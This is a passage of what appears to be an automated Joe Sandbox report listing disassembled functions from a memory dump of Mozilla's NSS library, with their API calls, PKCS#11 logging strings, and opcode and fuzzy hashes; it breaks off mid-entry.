Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$njl
API String ID: 1003633598-3823577586
Opcode ID: 24541cde9dd02ad8c75a9baa5b8eedee1c755867d8ea2021c1239cab8a8fa1fb
Instruction ID: dbea308a677a6488e82fb94cb61da16e1725e59ee79f887494e6e72e8cfe23fd
Opcode Fuzzy Hash: 24541cde9dd02ad8c75a9baa5b8eedee1c755867d8ea2021c1239cab8a8fa1fb
Instruction Fuzzy Hash: 3A41D035701144ABDB00DB95ED88FAA77B6AB8231DF048028E90967B11DB309D19CFAE

Function 6C5C4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C5C4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C4D37

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C5C4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C5C4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C5C4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C5C4E20

Strings

*pulSize = 0x%x, xrefs: 6C5C4E1B
hSession = 0x%x, xrefs: 6C5C4D12, 6C5C4D22
(CK_INVALID_HANDLE), xrefs: 6C5C4D30, 6C5C4D83
C_GetObjectSize, xrefs: 6C5C4CEE
hObject = 0x%x, xrefs: 6C5C4D65, 6C5C4D75
njl, xrefs: 6C5C4DD4, 6C5C4DFF
pulSize = 0x%p, xrefs: 6C5C4DB7

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$njl
API String ID: 1003633598-4135716603
Opcode ID: e1ead8abc38eac3e5f73f03390b5b6ac39d7ddb9b690abeac40ee72369c24f50
Instruction ID: f9bd09465cb576272c6d2402f852c86c61b7536707969c57e0da5fa720fd6213
Opcode Fuzzy Hash: e1ead8abc38eac3e5f73f03390b5b6ac39d7ddb9b690abeac40ee72369c24f50
Instruction Fuzzy Hash: 0A419E71701144ABD700DB95EDC8FAA37B6EB8230DF044429E9196BA11DB309C59CB5F

Function 6C5C7C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C5C7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C7CF3

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C5C7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C5C7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C5C7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C5C7D77

Strings

ulDataLen = %d, xrefs: 6C5C7D40
pSignature = 0x%p, xrefs: 6C5C7D59
pData = 0x%p, xrefs: 6C5C7D25
C_Verify, xrefs: 6C5C7CB1
hSession = 0x%x, xrefs: 6C5C7CCE, 6C5C7CDE
(CK_INVALID_HANDLE), xrefs: 6C5C7CEC
ulSignatureLen = %d, xrefs: 6C5C7D72
njl, xrefs: 6C5C7D8F, 6C5C7DC3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$njl
API String ID: 1003633598-370821418
Opcode ID: 8885ee1c25b3ab55d3db811b12bd6a9578a2727cfb69143709c01935ee899435
Instruction ID: de1d37307b1795dea72cf96a98a8281e502904e9e35c9e6b19f23f01519786ad
Opcode Fuzzy Hash: 8885ee1c25b3ab55d3db811b12bd6a9578a2727cfb69143709c01935ee899435
Instruction Fuzzy Hash: 3831B235701145EFDB00DF95ED88EAA3BF2AB82359F084028E51967A11DB309C19CFAE

Function 6C5C2F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C5C2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C2F63

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C5C2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C5C2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C5C2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C5C2FE7

Strings

hSession = 0x%x, xrefs: 6C5C2F3E, 6C5C2F4E
ulNewLen = %d, xrefs: 6C5C2FE2
(CK_INVALID_HANDLE), xrefs: 6C5C2F5C
ulOldLen = %d, xrefs: 6C5C2FB0
njl, xrefs: 6C5C2FFF, 6C5C3030
C_SetPIN, xrefs: 6C5C2F21
pOldPin = 0x%p, xrefs: 6C5C2F95
pNewPin = 0x%p, xrefs: 6C5C2FC9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$njl
API String ID: 1003633598-198826068
Opcode ID: 8e0df43672a24faea7d512c4d56c9c80fe607f57c0a5c1330fbea6c1ad8d7156
Instruction ID: b0e2d0d9a2f438b1dc44e40ed4da2aea6a15bf7ead81acd9fe3d8754d5d00fc0
Opcode Fuzzy Hash: 8e0df43672a24faea7d512c4d56c9c80fe607f57c0a5c1330fbea6c1ad8d7156
Instruction Fuzzy Hash: 3131E375701188EBDB00DF95ED89E9A37B2EB86319F045018E91967A11DB309C58CFAE

Function 6C6A9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C6A9C70
PR_NewLock.NSS3 ref: 6C6A9C85

Part of subcall function 6C6598D0: calloc.MOZGLUE(00000001,00000084,6C580936,00000001,?,6C58102C), ref: 6C6598E5

PR_NewCondVar.NSS3(00000000), ref: 6C6A9C96

Part of subcall function 6C57BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5821BC), ref: 6C57BB8C

PR_NewLock.NSS3 ref: 6C6A9CA9

Part of subcall function 6C6598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C659946
Part of subcall function 6C6598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5116B7,00000000), ref: 6C65994E
Part of subcall function 6C6598D0: free.MOZGLUE(00000000), ref: 6C65995E

PR_NewLock.NSS3 ref: 6C6A9CB9
PR_NewLock.NSS3 ref: 6C6A9CC9
PR_NewCondVar.NSS3(00000000), ref: 6C6A9CDA

Part of subcall function 6C57BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C57BBEB
Part of subcall function 6C57BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C57BBFB
Part of subcall function 6C57BB80: GetLastError.KERNEL32 ref: 6C57BC03
Part of subcall function 6C57BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C57BC19
Part of subcall function 6C57BB80: free.MOZGLUE(00000000), ref: 6C57BC22

PR_NewCondVar.NSS3(?), ref: 6C6A9CF0
PR_NewPollableEvent.NSS3 ref: 6C6A9D03

Part of subcall function 6C69F3B0: PR_CallOnce.NSS3(6C6F14B0,6C69F510), ref: 6C69F3E6
Part of subcall function 6C69F3B0: PR_CreateIOLayerStub.NSS3(6C6F006C), ref: 6C69F402
Part of subcall function 6C69F3B0: PR_Malloc.NSS3(00000004), ref: 6C69F416
Part of subcall function 6C69F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C69F42D
Part of subcall function 6C69F3B0: PR_SetSocketOption.NSS3(?), ref: 6C69F455
Part of subcall function 6C69F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C69F473

Part of subcall function 6C659890: TlsGetValue.KERNEL32(?,?,?,6C6597EB), ref: 6C65989E

EnterCriticalSection.KERNEL32(?), ref: 6C6A9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C6A9DAF
_PR_CreateThread.NSS3(00000000,6C6A9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6A9D9F

Part of subcall function 6C57B3C0: TlsGetValue.KERNEL32 ref: 6C57B403
Part of subcall function 6C57B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C57B459

_PR_CreateThread.NSS3(00000000,6C6AA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6A9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C6A9DFC
_PR_CreateThread.NSS3(00000000,6C6AA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6A9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C6A9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C6A9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6A9E89

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: bbfff40856f441f06592562e5eab9d26cdd13d23d37c8681ad73f1559fa06098
Instruction ID: d7809ace05c9fae45067b7707b2e280ca084f5bbbec078b43ae6c70ea396212b
Opcode Fuzzy Hash: bbfff40856f441f06592562e5eab9d26cdd13d23d37c8681ad73f1559fa06098
Instruction Fuzzy Hash: 23615FB1900706AFD710DF75C844A67BBF8FF49308B14452AE85AC7B11EB31E855CBA9

Function 6C5A3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C5A4014

Part of subcall function 6C5A39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C5A5E6F,?), ref: 6C5A3A08
Part of subcall function 6C5A39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C5A5E6F), ref: 6C5A3A1C
Part of subcall function 6C5A39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5A3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C5A4038

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C5A404D

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C6BA0F4), ref: 6C5A40C2

Part of subcall function 6C5EF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C5EF0C8
Part of subcall function 6C5EF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5EF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C5A409A

Part of subcall function 6C5EBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C59E708,00000000,00000000,00000004,00000000), ref: 6C5EBE6A
Part of subcall function 6C5EBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5A04DC,?), ref: 6C5EBE7E
Part of subcall function 6C5EBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C5EBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5A40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5A4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C5A411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C5A4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C5A4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C6BA1C8), ref: 6C5A417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C5A4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C5A41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5A41B2
PK11_DestroyObject.NSS3(?,?), ref: 6C5A41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5A41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C6BA1A8), ref: 6C5A422D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 531e2c423e574c3adbaf1d3436261fcf2ca709cb6fb42c2919a31f59a30f621a
Instruction ID: 0620868c9eeb785dce4a4555e3dd717708900afefa58dfc8b63fceeadcc049bd
Opcode Fuzzy Hash: 531e2c423e574c3adbaf1d3436261fcf2ca709cb6fb42c2919a31f59a30f621a
Instruction Fuzzy Hash: FD512BB5A00300ABF7109AEBAC41B6B76DCDF9434CF045629E85AC6B42FF31E91586A5

Function 6C5E8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C5E8E01,00000000,6C5E9060,6C6F0B64), ref: 6C5E8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C5E8E01,00000000,6C5E9060,6C6F0B64), ref: 6C5E8E9E
PORT_ArenaAlloc_Util.NSS3(6C6F0B64,00000001,?,?,?,?,6C5E8E01,00000000,6C5E9060,6C6F0B64), ref: 6C5E8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C5E8E01,00000000,6C5E9060,6C6F0B64), ref: 6C5E8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C5E8E01,00000000,6C5E9060,6C6F0B64), ref: 6C5E8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C5E8E01,00000000,6C5E9060,6C6F0B64), ref: 6C5E8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C5E8E01), ref: 6C5E8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6F0B64,6C6F0B64), ref: 6C5E8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C5E8F3F

Part of subcall function 6C5EA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C5EA421,00000000,00000000,6C5E9826), ref: 6C5EA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5E904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C5E8E76

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 8eb4293d185849bfb0b0f77a4d736220bdbae9994c64b9582ade16cb03a0ff7a
Instruction ID: 34ebf8dee865d64db1e6ba0da136d7c058d05ea90706feee1500a2807b0cac21
Opcode Fuzzy Hash: 8eb4293d185849bfb0b0f77a4d736220bdbae9994c64b9582ade16cb03a0ff7a
Instruction Fuzzy Hash: BA619FB5E002159BDB10CF55DC80AEFB7B9EF89358F144528DC28A7740E732E916CBA5

Function 6C598E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C598E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C598E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C598EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C6C18D0,?), ref: 6C598F03
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C598F19
PL_FreeArenaPool.NSS3(?), ref: 6C598F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C598F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C598F65
PL_FinishArenaPool.NSS3(?), ref: 6C598FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C598FFE
PR_CallOnce.NSS3(6C6F2AA4,6C5F12D0), ref: 6C599012
PL_FreeArenaPool.NSS3(?), ref: 6C599024
PL_FinishArenaPool.NSS3(?), ref: 6C59902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C59903E

Strings

security, xrefs: 6C598EE7

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: f03855d9cff54ac6819eb4d187781c923e97c74080a7e1e5bf9e2c6789bccc6b
Instruction ID: e47cfd26d97522bc205435cab55990cdc8fbfa7a73a1d4b04c2f3ceade2f865b
Opcode Fuzzy Hash: f03855d9cff54ac6819eb4d187781c923e97c74080a7e1e5bf9e2c6789bccc6b
Instruction Fuzzy Hash: C15138B1608380EBD7109A55DC81FAB73A8EFC575CF44086EF46A97B40E732D9098B57

Function 6C65CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C65CC7B), ref: 6C65CD7A

Part of subcall function 6C65CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C5CC1A8,?), ref: 6C65CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C65CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C65CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C65CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C65CD8E

Part of subcall function 6C5805C0: PR_EnterMonitor.NSS3 ref: 6C5805D1
Part of subcall function 6C5805C0: PR_ExitMonitor.NSS3 ref: 6C5805EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C65CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C65CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C65CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C65CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C65CE48

Strings

ws2_32.dll, xrefs: 6C65CD75
freeaddrinfo, xrefs: 6C65CD9F, 6C65CE10
getnameinfo, xrefs: 6C65CDB2, 6C65CE23
wship6.dll, xrefs: 6C65CDE3
getaddrinfo, xrefs: 6C65CD88, 6C65CDF9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 0248e2a8988b7e5bfccb8911f4ad7e1d6d86520964d0a242e51d5ac8ae45be3a
Instruction ID: 7709985f742a5c1a8152db05e7c5cadc8cf3ee15e546dc611c349df27bc7d4bd
Opcode Fuzzy Hash: 0248e2a8988b7e5bfccb8911f4ad7e1d6d86520964d0a242e51d5ac8ae45be3a
Instruction Fuzzy Hash: A211E4E5F1312162E70166723C8099E38999B8624CF680535D817D2E41FB21CA29CBFE

Function 6C6A1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C6A13BC,?,?,?,6C6A1193), ref: 6C6A1C6B
PR_NewLock.NSS3(?,6C6A1193), ref: 6C6A1C7E

Part of subcall function 6C6598D0: calloc.MOZGLUE(00000001,00000084,6C580936,00000001,?,6C58102C), ref: 6C6598E5

PR_NewCondVar.NSS3(00000000,?,6C6A1193), ref: 6C6A1C91

Part of subcall function 6C57BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5821BC), ref: 6C57BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C6A1193), ref: 6C6A1CA7

